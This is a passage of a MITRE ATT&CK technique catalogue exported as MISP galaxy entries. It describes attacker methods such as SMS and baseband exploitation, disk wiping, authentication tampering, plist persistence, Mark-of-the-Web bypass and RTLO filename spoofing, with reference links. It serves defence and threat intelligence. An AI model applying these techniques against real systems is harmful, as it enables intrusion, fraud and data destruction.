An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"*

Table 4152. Table References

Links
https://attack.mitre.org/techniques/T1454

Supply Chain Compromise - T1474

As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).

The tag is: *misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"*

Table 4153. Table References

Links
https://attack.mitre.org/techniques/T1474
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html
https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf
https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/

Delete Device Data - T1447

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447"*

Table 4154. Table References

Links
https://attack.mitre.org/techniques/T1447
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html

Carrier Billing Fraud - T1448

A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.

Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)

Malicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)

On iOS, apps cannot send SMS messages.

On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

The tag is: *misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448"*

Table 4155. Table References

Links
https://attack.mitre.org/techniques/T1448
https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html
https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf

Domain Policy Modification - T1484

Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).

Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484"*

Table 4156. Table References

Links
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1484
https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://wald0.com/?p=179
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://www.sygnia.co/golden-saml-advisory

Runtime Data Manipulation - T1494

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"*

View relationships graph

Runtime Data Manipulation - T1494 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"

Table 4157. Table References

Links
https://attack.mitre.org/techniques/T1494

https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Exploit Baseband Vulnerability - T1455

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

1. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"*

View relationships graph

Exploit Baseband Vulnerability - T1455 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"

Table 4158. Table References

Links
https://attack.mitre.org/techniques/T1455

Event Triggered Execution - T1546

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"*

Table 4159. Table References

Links
https://attack.mitre.org/techniques/T1546
https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Malicious Media Content - T1457

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"*

View relationships graph

Malicious Media Content - T1457 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 4160. Table References

Links
https://attack.mitre.org/techniques/T1457

Hijack Execution Flow - T1574

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574"*

Table 4161. Table References

Links
https://attack.mitre.org/techniques/T1574
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

Plist File Modification - T1647

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](Launch Daemon (https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).

For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application's <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647"*

Table 4162. Table References

Links
https://attack.mitre.org/techniques/T1647
https://fileinfo.com/extension/plist
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf

Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:

Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"*

View relationships graph

Disk Structure Wipe - T1487 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"

Table 4163. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1487
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.symantec.com/connect/blogs/shamoon-attacks

Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like

[RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"*

View relationships graph

Disk Content Wipe - T1488 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 4164. Table References

Links
https://attack.mitre.org/techniques/T1488
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

Modify Authentication Process - T1556

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556"*

Table 4165. Table References

Links
https://adsecurity.org/?p=2053
https://attack.mitre.org/techniques/T1556
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://www.secureworks.com/research/skeleton-key-malware-analysis
https://xorrior.com/persistent-credential-theft/

Uninstall Malicious Application - T1576

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: *misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576"*

Table 4166. Table References

Links
https://attack.mitre.org/techniques/T1576
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html

Compromise Application Executable - T1577

Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.

There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)

Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)

Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577"*

Table 4167. Table References

Links
https://attack.mitre.org/techniques/T1577
https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/
https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures

Search Closed Sources - T1597

Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Closed Sources - T1597"*

Table 4168. Table References

Links
https://attack.mitre.org/techniques/T1597
https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

Phishing for Information - T1598

Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598"*

Table 4169. Table References

Links
https://attack.mitre.org/techniques/T1598
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://github.com/ryhanson/phishery
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html

Network Boundary Bridging - T1599

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599"*

Table 4170. Table References

Links
https://attack.mitre.org/techniques/T1599
https://securelist.com/lazarus-threatneedle/100803/

At (Linux) - T1053.001

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

The tag is: *misp-galaxy:mitre-attack-pattern="At (Linux) - T1053.001"*

View relationships graph

At (Linux) - T1053.001 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 4171. Table References

Links
https://attack.mitre.org/techniques/T1053/001
https://gtfobins.github.io/gtfobins/at/
https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/

Mark-of-the-Web Bypass - T1553.005

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005"*

Table 4172. Table References

Links
https://attack.mitre.org/techniques/T1553/005
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7
https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/

Right-to-Left Override - T1036.002

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](Malicious File(https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002"*

Table 4173. Table References

Links
https://attack.mitre.org/techniques/T1036/002
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
https://securelist.com/zero-day-vulnerability-in-telegram/83800/

Multi-hop Proxy - T1090.003

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)

In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization's WAN. Protocols such as ICMP may be used as a transport.

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"*

Table 4174. Table References

Links
https://attack.mitre.org/techniques/T1090/003
https://en.wikipedia.org/wiki/Onion_routing

One-Way Communication - T1102.003

Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"*

Table 4175. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102/003

Drive-by Target - T1608.004

Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised

([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004"*

Table 4176. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
